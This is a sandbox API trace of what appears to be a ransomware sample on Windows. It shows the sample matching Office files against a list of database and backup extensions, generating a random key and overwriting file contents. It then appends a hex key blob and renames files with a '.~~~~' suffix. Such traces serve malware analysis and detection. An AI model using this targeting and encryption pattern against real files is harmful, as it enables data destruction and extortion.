	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".BDB") returned 0x0
	[0144.964] lstrlenW (lpString=".eql") returned 4
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".eql") returned 0x0
	[0144.964] lstrlenW (lpString=".DBF") returned 4
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DBF") returned 0x0
	[0144.964] lstrlenW (lpString=".EQL") returned 4
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".EQL") returned 0x0
	[0144.964] lstrlenW (lpString=".FDB") returned 4
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".FDB") returned 0x0
	[0144.964] lstrlenW (lpString=".EDB") returned 4
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".EDB") returned 0x0
	[0144.964] lstrlenW (lpString=".DACPAC") returned 7
	[0144.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0144.964] lstrlenW (lpString=".VHD") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".VHD") returned 0x0
	[0144.965] lstrlenW (lpString=".DBV") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DBV") returned 0x0
	[0144.965] lstrlenW (lpString=".dacpac") returned 7
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0144.965] lstrlenW (lpString=".sdf") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".sdf") returned 0x0
	[0144.965] lstrlenW (lpString=".accdb") returned 6
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".accdb") returned 0x0
	[0144.965] lstrlenW (lpString=".DBX") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DBX") returned 0x0
	[0144.965] lstrlenW (lpString=".MDT") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".MDT") returned 0x0
	[0144.965] lstrlenW (lpString=".SQB") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".SQB") returned 0x0
	[0144.965] lstrlenW (lpString=".vhd") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".vhd") returned 0x0
	[0144.965] lstrlenW (lpString=".bac") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".bac") returned 0x0
	[0144.965] lstrlenW (lpString=".mdf") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".mdf") returned 0x0
	[0144.965] lstrlenW (lpString=".BAK") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".BAK") returned 0x0
	[0144.965] lstrlenW (lpString=".BAC") returned 4
	[0144.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".BAC") returned 0x0
	[0144.965] lstrlenW (lpString=".dbs") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dbs") returned 0x0
	[0144.966] lstrlenW (lpString=".vhdx") returned 5
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0144.966] lstrlenW (lpString=".NDF") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".NDF") returned 0x0
	[0144.966] lstrlenW (lpString=".dat") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dat") returned 0x0
	[0144.966] lstrlenW (lpString=".DBS") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DBS") returned 0x0
	[0144.966] lstrlenW (lpString=".CKP") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".CKP") returned 0x0
	[0144.966] lstrlenW (lpString=".edb") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".edb") returned 0x0
	[0144.966] lstrlenW (lpString=".PST") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".PST") returned 0x0
	[0144.966] lstrlenW (lpString=".dbf") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dbf") returned 0x0
	[0144.966] lstrlenW (lpString=".SQL") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".SQL") returned 0x0
	[0144.966] lstrlenW (lpString=".pst") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".pst") returned 0x0
	[0144.966] lstrlenW (lpString=".dbv") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dbv") returned 0x0
	[0144.966] lstrlenW (lpString=".SDF") returned 4
	[0144.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".SDF") returned 0x0
	[0144.967] lstrlenW (lpString=".dtxs") returned 5
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0144.967] lstrlenW (lpString=".db3") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".db3") returned 0x0
	[0144.967] lstrlenW (lpString=".OST") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".OST") returned 0x0
	[0144.967] lstrlenW (lpString=".dbx") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dbx") returned 0x0
	[0144.967] lstrlenW (lpString=".DB3") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DB3") returned 0x0
	[0144.967] lstrlenW (lpString=".DAT") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DAT") returned 0x0
	[0144.967] lstrlenW (lpString=".VHDX") returned 5
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0144.967] lstrlenW (lpString=".ndf") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".ndf") returned 0x0
	[0144.967] lstrlenW (lpString=".DB") returned 3
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DB") returned 0x0
	[0144.967] lstrlenW (lpString=".sql") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".sql") returned 0x0
	[0144.967] lstrlenW (lpString=".MYD") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".MYD") returned 0x0
	[0144.967] lstrlenW (lpString=".DBT") returned 4
	[0144.967] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DBT") returned 0x0
	[0144.967] lstrlenW (lpString=".ACCDB") returned 6
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0144.968] lstrlenW (lpString=".fdb") returned 4
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".fdb") returned 0x0
	[0144.968] lstrlenW (lpString=".bak") returned 4
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".bak") returned 0x0
	[0144.968] lstrlenW (lpString=".myd") returned 4
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".myd") returned 0x0
	[0144.968] lstrlenW (lpString=".DTXS") returned 5
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0144.968] lstrlenW (lpString=".ckp") returned 4
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".ckp") returned 0x0
	[0144.968] lstrlenW (lpString=".dbt") returned 4
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".dbt") returned 0x0
	[0144.968] lstrlenW (lpString=".db") returned 3
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".db") returned 0x0
	[0144.968] lstrlenW (lpString=".TXT") returned 4
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".TXT") returned 0x0
	[0144.968] lstrlenW (lpString=".MDF") returned 4
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".MDF") returned 0x0
	[0144.968] lstrlenW (lpString=".bdb") returned 4
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".bdb") returned 0x0
	[0144.968] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.968] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.969] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0144.970] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.970] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.970] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26496176640) returned 1
	[0144.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbfd0a4d0, dwHighDateTime=0x1d60e1e)) 
	[0144.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fa90
	[0144.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fa90 | out: hHeap=0x300000) returned 1
	[0144.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0144.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0144.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0144.974] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.974] GetLastError () returned 0x0
	[0144.975] GetLastError () returned 0x0
	[0144.975] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.975] GetLastError () returned 0x0
	[0144.975] GetLastError () returned 0x0
	[0144.975] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.987] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.989] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.992] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.992] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.992] CloseHandle (hObject=0x114) returned 1
	[0144.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0144.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.~~~~")) returned 1
	[0144.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37efa0 | out: hHeap=0x300000) returned 1
	[0144.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.995] GetLastError () returned 0x0
	[0144.995] RtlWakeConditionVariable () returned 0x0
	[0144.995] GetCurrentThreadId () returned 0x9cc
	[0144.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".scr") returned 0x0
	[0144.996] lstrlenW (lpString=".cmd") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".cmd") returned 0x0
	[0144.996] lstrlenW (lpString=".dll") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dll") returned 0x0
	[0144.996] lstrlenW (lpString=".bat") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".bat") returned 0x0
	[0144.996] lstrlenW (lpString=".cpl") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".cpl") returned 0x0
	[0144.996] lstrlenW (lpString=".sys") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".sys") returned 0x0
	[0144.996] lstrlenW (lpString=".msc") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".msc") returned 0x0
	[0144.996] lstrlenW (lpString=".com") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".com") returned 0x0
	[0144.996] lstrlenW (lpString=".lnk") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".lnk") returned 0x0
	[0144.996] lstrlenW (lpString=".msp") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".msp") returned 0x0
	[0144.996] lstrlenW (lpString=".pif") returned 4
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".pif") returned 0x0
	[0144.996] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0144.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.998] lstrlenW (lpString=".sqb") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".sqb") returned 0x0
	[0144.999] lstrlenW (lpString=".ost") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".ost") returned 0x0
	[0144.999] lstrlenW (lpString=".txt") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".txt") returned 0x0
	[0144.999] lstrlenW (lpString=".mdt") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".mdt") returned 0x0
	[0144.999] lstrlenW (lpString=".BDB") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".BDB") returned 0x0
	[0144.999] lstrlenW (lpString=".eql") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".eql") returned 0x0
	[0144.999] lstrlenW (lpString=".DBF") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DBF") returned 0x0
	[0144.999] lstrlenW (lpString=".EQL") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".EQL") returned 0x0
	[0144.999] lstrlenW (lpString=".FDB") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".FDB") returned 0x0
	[0144.999] lstrlenW (lpString=".EDB") returned 4
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".EDB") returned 0x0
	[0144.999] lstrlenW (lpString=".DACPAC") returned 7
	[0144.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0144.999] lstrlenW (lpString=".VHD") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".VHD") returned 0x0
	[0145.000] lstrlenW (lpString=".DBV") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DBV") returned 0x0
	[0145.000] lstrlenW (lpString=".dacpac") returned 7
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0145.000] lstrlenW (lpString=".sdf") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".sdf") returned 0x0
	[0145.000] lstrlenW (lpString=".accdb") returned 6
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".accdb") returned 0x0
	[0145.000] lstrlenW (lpString=".DBX") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DBX") returned 0x0
	[0145.000] lstrlenW (lpString=".MDT") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".MDT") returned 0x0
	[0145.000] lstrlenW (lpString=".SQB") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".SQB") returned 0x0
	[0145.000] lstrlenW (lpString=".vhd") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".vhd") returned 0x0
	[0145.000] lstrlenW (lpString=".bac") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".bac") returned 0x0
	[0145.000] lstrlenW (lpString=".mdf") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".mdf") returned 0x0
	[0145.000] lstrlenW (lpString=".BAK") returned 4
	[0145.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".BAK") returned 0x0
	[0145.001] lstrlenW (lpString=".BAC") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".BAC") returned 0x0
	[0145.001] lstrlenW (lpString=".dbs") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dbs") returned 0x0
	[0145.001] lstrlenW (lpString=".vhdx") returned 5
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0145.001] lstrlenW (lpString=".NDF") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".NDF") returned 0x0
	[0145.001] lstrlenW (lpString=".dat") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".dat") returned 0x0
	[0145.001] lstrlenW (lpString=".DBS") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".DBS") returned 0x0
	[0145.001] lstrlenW (lpString=".CKP") returned 4
	[0145.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT", lpSrch=".CKP") returned 0x0
	[0145.001] lstrlenW (lpString=".edb") returned 4
